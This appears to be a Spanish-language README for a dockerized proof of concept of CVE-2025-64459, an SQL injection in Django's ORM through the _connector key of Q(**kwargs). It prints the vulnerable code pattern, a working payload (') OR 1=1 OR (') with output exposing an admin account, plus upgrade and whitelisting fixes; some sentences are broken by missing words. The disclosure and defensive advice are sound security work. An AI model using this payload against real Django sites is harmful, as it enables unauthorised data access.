
Vulnerabilidad: SQL Injection a través de QuerySet y desempaquetado de argumentos de palabra clave Q(). CVE ID: CVE-2025-64459 Gravedad: Crítica (CVSS 9.1) Versiones afectadas: Django 5.1 < 5.1.14, 4.2 < 4.2.26 y 5.2 < 5.2.8. Investigador: Cyberstan (Universidad de Warwick)
Vulnerabilidad: Inyección SQL a través de QuerySet y desempaquetado de argumentos de palabra clave de Q().
ID de CVE: CVE-2025-64459
Descubierto por: Yo (Cyberstan)
Fecha de divulgación: 5 de noviembre de 2025
Este repositorio contiene una Prueba de Concepto (PoC) dockerizada que demuestra una vulnerabilidad crítica de inyección SQL en el ORM de Django.
La vulnerabilidad existe en cómo el objeto Q maneja los argumentos de palabra clave durante la instanciación. Específicamente, el atributo interno _connector no se sanitiza adecuadamente cuando se pasa mediante desempaquetado de diccionario (por ejemplo, ). Esto permite a un atacante remoto inyectar lógica SQL arbitraria en la cláusula de una consulta de base de datos, lo que posibilita , y .
Q(**user_input)WHERELa vulnerabilidad reside en django.db.models.sql.where.WhereNode. El método as_sql, responsable de compilar la cláusula SQL WHERE, utiliza formato de cadena inseguro para insertar el conector de consulta (AND/OR).
Si bien el conector suele tener "AND" o "OR" como valor predeterminado, Django permite sobrescribirlo mediante el argumento de palabra clave _connector en el constructor del objeto Q.
# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# The self.connector attribute is injected directly without validation
conn = ' %s ' % self.connector
# ...
La vulnerabilidad se desencadena cuando los desarrolladores utilizan desempaquetado de diccionario para construir filtros a partir de la entrada del usuario, un patrón común en las API de búsqueda.
Patrón de Código Vulnerable:
# Attacker controls the keys and values of 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- VULNERABLE POINT
results = User.objects.filter(query)
Si un atacante incluye _connector como clave en su entrada, puede manipular la estructura SQL.
Este PoC utiliza Docker para garantizar un entorno consistente y aislado que contenga la versión vulnerable de Django (5.1).
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
Ejecute el siguiente comando para construir el entorno y ejecutar el script de ataque:
docker-compose up --build
El contenedor ejecutará un script de Python (poc.py) que imita un endpoint de aplicación vulnerable.
alice (estándar) y root (admin)._connector.Salida de Exploit Exitoso:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
Actualice Django a la última versión de seguridad inmediatamente.
pip install Django==5.1.14 (o la versión correspondiente)El parche introduce una validación estricta en WhereNode, asegurando que connector siempre sea igual a AND o OR.
Si no puede actualizar de inmediato, audite su código base para el uso de Q(**kwargs) o filter(**kwargs). Asegúrese de que el diccionario pasado a estos métodos nunca contenga claves controladas por el usuario sin procesar.
Patrón Seguro:
# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Now safe to unpack
User.objects.filter(**clean_filters)
Este repositorio es únicamente para fines educativos y de investigación en seguridad.
El código proporcionado crea un entorno vulnerable para demostrar una falla de seguridad específica. Nunca debe ejecutarse en un entorno de producción. El autor (Cyberstan) no es responsable por el mal uso de esta información. Probar este exploit contra sistemas sin autorización explícita es ilegal.